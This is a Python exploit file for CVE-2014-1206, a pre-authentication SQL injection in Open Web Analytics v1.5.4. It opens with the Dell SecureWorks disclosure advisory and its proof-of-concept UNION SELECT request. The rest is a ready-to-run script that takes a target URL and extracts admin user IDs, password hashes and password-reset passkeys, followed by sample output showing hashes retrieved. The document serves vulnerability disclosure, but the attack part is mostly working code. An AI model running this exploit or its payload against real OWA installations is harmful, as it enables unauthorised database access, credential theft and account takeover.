232 lines
No EOL
11 KiB
Python
Executable file
232 lines
No EOL
11 KiB
Python
Executable file
"""
|
||
Dell SecureWorks Security Advisory SWRX-2014-001
|
||
Open Web Analytics Pre-Auth SQL Injection
|
||
|
||
Advisory Information
|
||
Title: Open Web Analytics Pre-Auth SQL Injection
|
||
Advisory ID: SWRX-2014-001
|
||
Advisory URL: http://www.secureworks.com/cyber-threat-intelligence/advisories/SWRX-2014-001/
|
||
Date published: Thursday, January 9, 2014
|
||
CVE: CVE-2014-1206
|
||
CVSS v2 base score: 7.5
|
||
Date of last update: Wednesday, January 8, 2014
|
||
Vendors contacted: Open Web Analytics
|
||
Release mode: Coordinated
|
||
Discovered by: Dana James Traversie, Dell SecureWorks
|
||
|
||
Summary
|
||
Open Web Analytics (OWA) is open source web analytics software that can track and analyze how visitors use websites and applications. OWA is vulnerable to SQL injection that allows an attacker to execute arbitrary SQL statements in the context of the configured OWA database user without authenticating to the web application.
|
||
|
||
Affected products
|
||
This vulnerability affects Open Web Analytics v1.5.4.
|
||
|
||
Vendor Information, Solutions, and Workarounds
|
||
The vendor has released an updated version to address this vulnerability. OWA users should upgrade to version v1.5.5 or later.
|
||
|
||
Details
|
||
An SQL injection vulnerability exists in Open Web Analytics v1.5.4 due to insufficient input validation of the ‘owa_email_address’ parameter on the password reset page. The password reset page does not require user authentication. A remote attacker can leverage this issue to execute arbitrary SQL statements in the context of the configured OWA database user. The impact of the vulnerability varies based on the deployment and configuration of the OWA, database, and web server software. Successful exploitation could result in complete loss of confidentiality, integrity, and availability in the OWA database and may affect the entire underlying database management system. This issue could also lead to operating system compromise under the right conditions.
|
||
|
||
CVSS severity (version 2.0)
|
||
Access vector: Network
|
||
Access complexity: Low
|
||
Authentication: None
|
||
Impact type: Manipulation of SQL queries and execution of arbitrary SQL commands on the underlying
|
||
database
|
||
Confidentiality impact: Partial
|
||
Integrity impact: Partial
|
||
Availability impact: Partial
|
||
CVSS v2 base score: 7.5
|
||
CVSS v2 impact subscore: 6.4
|
||
CVSS v2 exploitability subscore: 10
|
||
CVSS v2 vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P)
|
||
|
||
Proof of concept
|
||
|
||
Request:
|
||
|
||
POST /owa/index.php?owa_do=base.passwordResetForm HTTP/1.1
|
||
Host: 10.11.28.70
|
||
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||
Accept-Language: en-US,en;q=0.5
|
||
Accept-Encoding: gzip, deflate
|
||
Referer: https://10.11.28.70/owa/index.php?owa_do=base.passwordResetForm
|
||
Connection: keep-alive
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 296
|
||
|
||
owa_email_address=-4534%27+UNION+ALL+SELECT+3627%2C3627%2C3627%2C3627%2C3627%2CCONCAT%280x7177766871%2CIFNULL%28CAST%28password+AS+CHAR%29%2C0x20%29%2C0x7176627971%29%2C3627%2C3627%2C3627%2C3627+FROM+owa.owa_user+LIMIT+0%2C1%23&owa_action=base.passwordResetRequest&owa_submit=Request+New+Password
|
||
|
||
Response:
|
||
|
||
HTTP/1.1 200 OK
|
||
Date: Fri, 14 Feb 2014 17:03:43 GMT
|
||
Server: Apache/2.2.15 (Red Hat)
|
||
X-Powered-By: PHP/5.3.3
|
||
Content-Length: 3538
|
||
Connection: close
|
||
Content-Type: text/html; charset=UTF-8
|
||
|
||
Invalid address: qwvhqe2744931d91565ed5b44a1d52746afa0qvbyq<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||
|
||
<head>
|
||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
|
||
<title> - Open Web Analytics</title>
|
||
<!-- HEAD Elements -->
|
||
..
|
||
|
||
The password hash of the admin user included in the response: e2744931d91565ed5b44a1d52746afa0
|
||
|
||
Revision history
|
||
1.0 2014-01-09: Initial advisory release
|
||
|
||
PGP keys
|
||
This advisory has been signed with the Dell SecureWorks Counter Threat Unit™ PGP key, which is
|
||
available for download at http://www.secureworks.com/SecureWorksCTU.asc.
|
||
|
||
About Dell SecureWorks
|
||
Dell Inc. (NASDAQ: DELL) listens to customers and delivers worldwide innovative technology and business solutions they trust and value. Recognized as an industry leader by top analysts, Dell SecureWorks provides world-class information security services to help organizations of all sizes protect their IT assets, comply with regulations and reduce security costs.
|
||
|
||
Disclaimer
|
||
Copyright © 2014 Dell SecureWorks
|
||
This advisory may not be edited or modified in any way without the express written consent of Dell SecureWorks. Permission is hereby granted to link to this advisory via the Dell SecureWorks website or use in accordance with the fair use doctrine of U.S. copyright laws. See the Dell SecureWorks terms of use at http://www.secureworks.com/contact/terms_of_use/ for additional information.
|
||
The most recent version of this advisory may be found on the Dell SecureWorks website at www.secureworks.com. The contents of this advisory may change or be removed from the website without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. ANY USE OF THIS INFORMATION IS AT THE USER'S RISK. In no event shall Dell SecureWorks be liable for any damages whatsoever arising out of or in connection with the use or further publication or disclosure of this information.
|
||
"""
|
||
#!/usr/bin/env python
|
||
|
||
import argparse
|
||
import re
|
||
import time
|
||
import urllib
|
||
import urllib2
|
||
|
||
argParser = argparse.ArgumentParser(description='Open Web Analytics v1.5.4 Wicked Awesome SQLi Exploit')
|
||
argParser.add_argument("-t", dest="target", help="The target OWA base server URL (e.g. http://owa.example.com/)", required=True)
|
||
argParser.add_argument("-o", dest="offset", help="The offset (zero-based) used in the 'LIMIT' portion of the underlying SQL query used to extract column data", type=int, required=True)
|
||
argParser.add_argument("-d", dest="dbname", help="The target OWA database name (e.g. 'owa' is the default)", required=False)
|
||
argParser.add_argument("-u", dest="user", help="Extract the value of the 'user_id' column from the 'owa_user' table", action='store_true', default=False, required=False)
|
||
argParser.add_argument("-p", dest="password", help="Extract the value of the 'password' column from the 'owa_user' table", action='store_true', default=False, required=False)
|
||
argParser.add_argument("-r", dest="passkey", help="Extract the value of the 'temp_passkey' column from the 'owa_user' table", action='store_true', default=False, required=False)
|
||
|
||
args = argParser.parse_args()
|
||
|
||
database_name = 'owa'
|
||
user_table_name = 'owa_user'
|
||
|
||
user_column_name = 'user_id'
|
||
pass_column_name = 'password'
|
||
temp_passkey_column_name = 'temp_passkey'
|
||
|
||
result_pattern = re.compile('Invalid\saddress:\sqwvhq(.+)qvbyq')
|
||
|
||
def fetchColumnData(colname, offset):
|
||
print "\nFetching data from the '" + colname + "' column at offset %i:\n" % offset
|
||
url = args.target + 'index.php?owa_do=base.passwordResetForm'
|
||
params = { 'owa_email_address' : "-4534' UNION ALL SELECT 3627,3627,3627,3627,3627,CONCAT(0x7177766871,IFNULL(CAST(" + colname + " AS CHAR),0x20),0x7176627971),3627,3627,3627,3627 FROM " + database_name + "." + user_table_name + " LIMIT %i,1#" % offset,
|
||
'owa_action' : 'base.passwordResetRequest',
|
||
'owa_submit' : 'Request New Password' }
|
||
url_encoded_params = urllib.urlencode(params)
|
||
req = urllib2.Request(url, url_encoded_params)
|
||
try:
|
||
resp = urllib2.urlopen(req)
|
||
resp_html = resp.read()
|
||
print result_pattern.findall(resp_html)
|
||
except urllib2.HTTPError as e:
|
||
print 'Caught execption while sending HTTP request to target'
|
||
print 'Verify target is vulnerable and URL information is accurate\n'
|
||
print 'Server response: %i\n' % e.code
|
||
|
||
print '*************************************'
|
||
print '***** Open Web Analytics v1.5.4 *****'
|
||
print '**** Wicked Awesome SQLi Exploit ****'
|
||
print '******* Dana James Traversie ********'
|
||
print '**** Security Systems Sr. Advisor ***'
|
||
print '********** Dell SecureWorks *********'
|
||
print '*************************************'
|
||
|
||
print '\nTargeting Open Web Analytics install at:\n'
|
||
print "['" + args.target + "']"
|
||
|
||
if (args.dbname):
|
||
database_name = args.dbname
|
||
|
||
print "\nTarget database and table combination:\n"
|
||
print "['" + database_name + "." + user_table_name + "']"
|
||
|
||
if (args.user):
|
||
fetchColumnData(colname=user_column_name, offset=args.offset)
|
||
|
||
if (args.password):
|
||
fetchColumnData(colname=pass_column_name, offset=args.offset)
|
||
|
||
if (args.passkey):
|
||
fetchColumnData(colname=temp_passkey_column_name, offset=args.offset)
|
||
|
||
"""
|
||
root@kali:~/Exploits# ./owa-v1.5.4-sqli-exploit.py -h
|
||
usage: owa-v1.5.4-sqli-exploit.py [-h] -t TARGET -o OFFSET [-d DBNAME] [-u]
|
||
[-p] [-r]
|
||
|
||
Open Web Analytics v1.5.4 Wicked Awesome SQLi Exploit
|
||
|
||
optional arguments:
|
||
-h, --help show this help message and exit
|
||
-t TARGET The target OWA base server URL (e.g. http://owa.example.com/)
|
||
-o OFFSET The offset (zero-based) used in the 'LIMIT' portion of the
|
||
underlying SQL query used to extract column data
|
||
-d DBNAME The target OWA database name (e.g. 'owa' is the default)
|
||
-u Extract the value of the 'user_id' column from the 'owa_user'
|
||
table
|
||
-p Extract the value of the 'password' column from the 'owa_user'
|
||
table
|
||
-r Extract the value of the 'temp_passkey' column from the
|
||
'owa_user' table
|
||
root@kali:~/Exploits#
|
||
|
||
root@kali:~/Exploits# ./owa-v1.5.4-sqli-exploit.py -t http://localhost/owa154/ -d owa154 -o 0 -u -p -r
|
||
*************************************
|
||
***** Open Web Analytics v1.5.4 *****
|
||
**** Wicked Awesome SQLi Exploit ****
|
||
******* Dana James Traversie ********
|
||
**** Security Systems Sr. Advisor ***
|
||
********** Dell SecureWorks *********
|
||
*************************************
|
||
|
||
Targeting Open Web Analytics install at:
|
||
|
||
['http://localhost/owa154/']
|
||
|
||
Target database and table combination:
|
||
|
||
['owa154.owa_user']
|
||
|
||
Fetching data from the 'user_id' column at offset 0:
|
||
|
||
['admin']
|
||
|
||
Fetching data from the 'password' column at offset 0:
|
||
|
||
['6b4754709eef21844ea2b67fce2ebe23']
|
||
|
||
Fetching data from the 'temp_passkey' column at offset 0:
|
||
|
||
['0b54dbf880d10290d7db4fad0a88a956']
|
||
root@kali:~/Exploits#
|
||
|
||
mysql> select * from owa154.owa_user\G
|
||
*************************** 1. row ***************************
|
||
id: 1
|
||
user_id: admin
|
||
password: 6b4754709eef21844ea2b67fce2ebe23
|
||
role: admin
|
||
real_name:
|
||
email_address: dtraversie@secureworks.com
|
||
temp_passkey: 0b54dbf880d10290d7db4fad0a88a956
|
||
creation_date: 1434465867
|
||
last_update_date: 1434465867
|
||
api_key: c4da36a4a4c1991711f91655083c87bb
|
||
1 row in set (0.00 sec)
|
||
|
||
mysql>
|
||
""" |